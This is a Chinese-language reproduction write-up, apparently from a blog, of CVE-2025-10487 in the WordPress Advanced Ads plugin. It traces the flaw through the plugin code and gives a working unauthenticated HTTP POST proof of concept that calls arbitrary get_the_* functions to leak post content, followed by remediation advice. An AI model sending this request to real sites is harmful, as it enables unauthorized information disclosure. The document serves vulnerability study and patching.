Wordpress Advanced Ads插件漏洞CVE-2025-10487复现

漏洞描述

The Advanced Ads -- Ad Manager & AdSense plugin for WordPress is

vulnerable to Remote Code Execution in all versions up to, and

including, 2.0.12 via the select_one() function. This is due to the

endpoint not properly restricting access to the AJAX endpoint or

limiting the functions that can be called to safe functions. This

makes it possible for unauthenticated attackers to call arbitrary

functions beginning with get_the_ like get_the_excerpt which can make

information exposure possible.

在 2.0.12 之前(包括 2.0.12)之前的所有版本中,高级广告 - Ad Manager 和 AdSense 插件都容易通过 select_one() 函数进行远程代码执行。这是由于端点没有正确限制对 AJAX 端点的访问或限制可以调用到安全函数的函数。这使得未经身份验证的攻击者可以调用以get_the_开头的任意函数,例如 get_the_excerpt这可以使信息泄露成为可能。

复现环境搭建

虚拟机搭建wordpress后安装 2.0.12版本的Advanced Ads插件

漏洞分析

根据提供的代码和漏洞描述,Advanced Ads 插件中的漏洞位于 wp-content/plugins/advanced-ads/includes/admin/class-ajax.php 文件的 select_one() 函数中。该漏洞允许未经身份验证的攻击者通过 AJAX 端点调用任意以 get_the_ 开头的 WordPress 函数,导致潜在的信息泄露(而非真正的远程代码执行)。以下是详细的漏洞调用链分析:

1. 入口点:公开 AJAX 端点

  • 位置wp-content/plugins/advanced-ads/includes/admin/class-ajax.php:42-43

  • 代码

    php 复制代码
    add_action( 'wp_ajax_advads_ad_select', [ $this, 'ad_select' ] );
    add_action( 'wp_ajax_nopriv_advads_ad_select', [ $this, 'ad_select' ] );
  • 问题wp_ajax_nopriv_advads_ad_select 钩子允许未登录用户访问 ad_select() 方法。没有身份验证检查或速率限制。

2. 处理请求:ad_select() 方法

  • 位置wp-content/plugins/advanced-ads/includes/admin/class-ajax.php:149-194

  • 关键代码

    php 复制代码
    public function ad_select(): void {
        // ... 其他代码 ...
        $defered_ads = Params::request( 'deferedAds', [], FILTER_DEFAULT, FILTER_REQUIRE_ARRAY );
        if ( $defered_ads ) {
            // ... 处理 defered_ads ...
            foreach ( $requests as $request ) {
                $result = $this->select_one( $request );  // 调用 select_one
            }
        }
        $response = $this->select_one( $_REQUEST );  // 直接传递 $_REQUEST
        wp_send_json( $response );
    }
  • 问题 :直接将 $_REQUEST(包含用户输入)传递给 select_one(),没有过滤或验证。

3. 核心漏洞:select_one() 方法中的动态函数调用

  • 位置wp-content/plugins/advanced-ads/includes/admin/class-ajax.php:298-362

  • 关键代码

    php 复制代码
    private function select_one( $request ) {
        $method = (string) $request['ad_method'] ?? null;  // 从请求中获取 ad_method
        if ( 'id' === $method ) {
            $method = 'ad';
        }
        $function = "get_the_$method";  // 动态构造函数名
        $id = (string) $request['ad_id'] ?? null;
        // ... 其他代码 ...
        $content = $function( (int) $id, '', $arguments );  // 调用动态函数
        // ... 返回结果 ...
    }
  • 问题

    • $method 来自用户输入($_REQUEST['ad_method']),未进行任何过滤或白名单检查。
    • 通过字符串拼接构造函数名 $function = "get_the_$method",允许调用任意以 get_the_ 开头的函数。
    • 例如,攻击者可设置 ad_method=excerpt,导致调用 get_the_excerpt();或 ad_method=content,调用 get_the_content()



4. 漏洞利用示例

POC:

复制代码
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.6.138
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Cookie: wp-settings-time-1=1762237749; wpforo_read_topics=%7B%221%22%3A%223%22%7D; wpforo_read_forums=%7B%222%22%3A%223%22%2C%221%22%3A%223%22%7D; wp-settings-2=mfold%3Do; wp-settings-time-2=1762311751
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded

action=advads_ad_select&ad_method=excerpt&ad_id=1
  • 请求 :POST 到 /wp-admin/admin-ajax.php?action=advads_ad_select
  • 参数
    • ad_method=excerpt(或任意 get_the_* 函数名,如 titlecontent 等)
    • ad_id=1(有效文章 ID)
  • 结果:返回文章的摘要(excerpt),导致信息泄露。如果文章包含敏感数据,可被利用。

下面的请求获取了文章标题

下面的请求获取了文章摘要

下面的请求获取了广告内容

5. 影响

  • 信息泄露:未授权攻击者可获取文章标题、内容、摘要等信息,广告内容可能包含敏感信息。
  • 局限 :尽管描述为 "远程代码执行",实际仅限于调用 WordPress 的 get_the_* 函数,无法执行任意 PHP 代码。可能通过短代码或特定内容间接执行代码,但通常为信息泄露。
  • CVSS :高严重性(信息泄露,无需认证)。

6. 修复建议

  • select_one() 中添加 $method 的白名单检查,仅允许预定义的安全方法(如 adplacement)。
  • 或移除 wp_ajax_nopriv_advads_ad_select 钩子,限制为登录用户。
  • 添加输入验证和过滤。

把The Advanced Ads -- Ad Manager & AdSense plugin升级到2.0.13或更高版本。

新版插件在select_one方法的function变量赋值前调用了is_entity_allowed方法

is_entity_allowed方法只允许调用get_the_ad、get_the_group、get_the_placement三个方法。

参考链接

相关推荐
unable code14 小时前
攻防世界-Misc-Miscellaneous-200
网络安全·ctf·misc
zhengfei61115 小时前
渗透工具集——15款常见C2的框架
测试工具·安全
星哥说事16 小时前
系统安全加固:禁用不必要服务和端口,及时更新安全补丁
安全·系统安全
unable code17 小时前
攻防世界-Misc-4-1
网络安全·ctf·misc·1024程序员节
金灰18 小时前
写在创作第 730 天:一些关于学习、技术与自我认知的记录
学习·安全
Dingdangr19 小时前
基于Python的火焰识别系统设计与实现(含论文、开题报告及答辩PPT)
java·python·测试工具·安全
金灰19 小时前
一带一路(金砖)--网络安全防护治理赛项
网络·计算机网络·安全·web安全·网络安全·网络攻击模型·安全威胁分析
Bruce_Liuxiaowei19 小时前
网站敏感文件_目录大全(分类记忆+风险标注)
运维·网络·网络协议·http·网络安全·https
脆皮瞎20 小时前
内网域渗透-信息收集
网络·网络安全
独角鲸网络安全实验室20 小时前
高危预警!React核心组件曝CVSS 9.8漏洞,数百万开发者面临远程代码执行风险
运维·前端·react.js·网络安全·企业安全·漏洞·cve-2025-11953